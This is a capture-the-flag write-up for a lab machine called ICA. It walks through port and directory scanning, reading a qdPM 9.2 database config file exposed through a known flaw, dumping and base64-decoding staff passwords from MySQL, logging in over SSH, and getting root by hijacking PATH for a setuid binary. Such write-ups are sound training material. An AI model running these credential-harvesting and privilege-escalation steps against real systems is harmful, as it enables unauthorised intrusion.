Field notes
CTF : ICA
Informations
- IP: 192.168.0.163
- MYIP: 192.168.0.36
First enumeration
Basics
- NMAP
$ sudo nmap -p- -A 192.168.0.163
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-02 22:17 CET
Nmap scan report for 192.168.0.163
Host is up (0.00017s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)
| 256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)
|_ 256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.48 (Debian)
3306/tcp open mysql MySQL 8.0.26
| mysql-info:
| Protocol: 10
| Version: 8.0.26
| Thread ID: 40
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, ConnectWithDatabase, Speaks41ProtocolNew, LongColumnFlag, SupportsCompression, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, SupportsTransactions, SupportsLoadDataLocal, InteractiveClient, ODBCClient, Speaks41ProtocolOld, FoundRows, IgnoreSigpipes, LongPassword, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: ?\x1E:\x0F lf\x01R\x05|r\x07\x1Bq\x04j?rK
|_ Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate
| Not valid before: 2021-09-25T10:47:29
|_Not valid after: 2031-09-23T10:47:29
|_ssl-date: TLS randomness does not represent time
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.92%I=7%D=3/2%Time=621FDEDC%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x
SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes
SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND
SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC
SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0
SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\
SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:54:CC:C5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.17 ms 192.168.0.163
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.35 seconds
First I use gobuster to find anything that would be interresting.
$ gobuster dir -r -f -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -u http://192.168.0.163 -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub -b 400,404 2>/dev/null
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.163
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes: 400,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: cgi,id_rsa,rb,csv,pub,zip,sql,tgz,bkp,log,xml,pl,html,php,bak,sql.bak,tar.gz,json,sh,txt,js,php.bak,tar,rar,py
[+] Add Slash: true
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2022/03/02 22:19:47 Starting gobuster in directory enumeration mode
===============================================================
/images/ (Status: 200) [Size: 2368]
/index.php (Status: 200) [Size: 5664]
/icons/ (Status: 403) [Size: 278]
/uploads/ (Status: 200) [Size: 1140]
/css/ (Status: 200) [Size: 1308]
/template/ (Status: 200) [Size: 1706]
/core/ (Status: 200) [Size: 3055]
/install/ (Status: 200) [Size: 1815]
/manual/ (Status: 200) [Size: 676]
/js/ (Status: 200) [Size: 1958]
/javascript/ (Status: 403) [Size: 278]
/check.php (Status: 200) [Size: 0]
/sf/ (Status: 200) [Size: 1142]
/readme.txt (Status: 200) [Size: 470]
/robots.txt (Status: 200) [Size: 26]
/backups/ (Status: 200) [Size: 744]
/batch/ (Status: 200) [Size: 943]
/server-status/ (Status: 403) [Size: 278]
In the same time the index page show us a login screen of qdpm
http://192.168.0.163 => qdPM 9.2
Vulnerabilities search
qdpm should be vulnerable, so I check with searchsploit.
$ searchsploit qdpm 9.2
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
qdPM 9.2 - Password Exposure (Unauthenticated) | php/webapps/50176.txt
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
searchsploit -m php/webapps/50176.txt
Exploit: qdPM 9.2 - Password Exposure (Unauthenticated)
URL: https://www.exploit-db.com/exploits/50176
Path: /usr/share/exploitdb/exploits/php/webapps/50176.txt
File Type: ASCII text
Copied to: /home/boula/CTF/ICA/50176.txt
And, visibly, we could get a password. :)
$ cat 50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
Version 9.2 let's anyone access the config file.
$ curl http://192.168.0.163/core/config/databases.yml
all:
doctrine:
class: sfDoctrineDatabase
param:
dsn: 'mysql:dbname=qdpm;host=localhost'
profiler: false
username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
attributes:
quote_identifier: true
Here it is. And hopefully mysql port is available :)
$ mysql -h 192.168.0.163 -u qdpmadmin -p UcVQCMQk2STVeS6J
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 77
Server version: 8.0.26 MySQL Community Server - GPL
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| qdpm |
| staff |
| sys |
+--------------------+
6 rows in set (0.02 sec)
mysql> select * from configuration;
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
| id | key | value |
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
| 1 | app_administrator_email | admin@localhost.com |
| 2 | app_administrator_password | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
Ok so we have a mail and a password for qdpm
Let's try another database :
mysql> use staff;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------+
| Tables_in_staff |
+-----------------+
| department |
| login |
| user |
+-----------------+
3 rows in set (0.00 sec)
mysql> select * from user;
+------+---------------+--------+---------------------------+
| id | department_id | name | role |
+------+---------------+--------+---------------------------+
| 1 | 1 | Smith | Cyber Security Specialist |
| 2 | 2 | Lucas | Computer Engineer |
| 3 | 1 | Travis | Intelligence Specialist |
| 4 | 1 | Dexter | Cyber Security Analyst |
| 5 | 2 | Meyer | Genetic Engineer |
+------+---------------+--------+---------------------------+
5 rows in set (0.00 sec)
mysql> select * login
-> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1
mysql> select * from login;
+------+---------+--------------------------+
| id | user_id | password |
+------+---------+--------------------------+
| 1 | 2 | c3VSSkFkR3dMcDhkeTNyRg== |
| 2 | 4 | N1p3VjRxdGc0MmNtVVhHWA== |
| 3 | 1 | WDdNUWtQM1cyOWZld0hkQw== |
| 4 | 3 | REpjZVZ5OThXMjhZN3dMZw== |
| 5 | 5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+
5 rows in set (0.01 sec)
mysql>
So we have some new pass:
- smith:WDdNUWtQM1cyOWZld0hkQw==
- lucas:c3VSSkFkR3dMcDhkeTNyRg==
- travis:REpjZVZ5OThXMjhZN3dMZw==
- dexter:N1p3VjRxdGc0MmNtVVhHWA==
- meyer:Y3FObkJXQ0J5UzJEdUpTeQ==
It seems to be base64 encoded...so :
$ echo -ne 'WDdNUWtQM1cyOWZld0hkQw==' | base64 -d -
[...]
- smith:X7MQkP3W29fewHdC
- lucas:suRJAdGwLp8dy3rF
- travis:DJceVy98W28Y7wLg
- dexter:7ZwV4qtg42cmUXGX
- meyer:cqNnBWCByS2DuJSy
I tried those creds against ssh and two of them works : travis and dexter
So we got a shell :)
Exploit
$ ssh travis@192.168.0.163
$ ssh dexter@192.168.0.163
travis@debian:~$ cat user.txt
ICA{Secret_Project}
Privilege escalation
Enumeration for privesc
travis@debian:~$ id
uid=1002(travis) gid=1002(travis) groups=1002(travis),33(www-data)
dexter@debian:~$ id
uid=1001(dexter) gid=1001(dexter) groups=1001(dexter)
None of them can do stuff with sudo. So I decided to search binaries with suid.
travis@debian:~$ find / -perm -4000 2>/dev/null
/opt/get_access
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Clearly, /opt/get_access is not a common setuid binary. So, I give it a try.
travis@debian:~$ ls -al /opt/get_access
-rwsr-xr-x 1 root root 16816 Sep 25 09:25 /opt/get_access
travis@debian:~$ file /opt/get_access
/opt/get_access: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=74c7b8e5b3380d2b5f65d753cc2586736299f21a, for GNU/Linux 3.2.0, not stripped
Alright, /opt/get_access got a setuid bit. So we might use it to privesc.
travis@debian:~$ strings /opt/get_access
[...]
cat /root/system.info
[...]
Ok, cat is called without an absolute path. Let's try to use it !
Exploit
First, we have to modify PATH env variable and put "." at the begining of it.
travis@debian:~$ export PATH=.:$PATH
travis@debian:~$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Then we gonna create a fake cat binary that actually launch a shell.
travis@debian:~$ echo "/bin/sh -i" > cat
travis@debian:~$ chmod +x cat
And now we run /opt/get_access
# whoami
root
# cd /root/
# cat root.txt
ICA{Next_Generation_Self_Renewable_Genetics}
\o/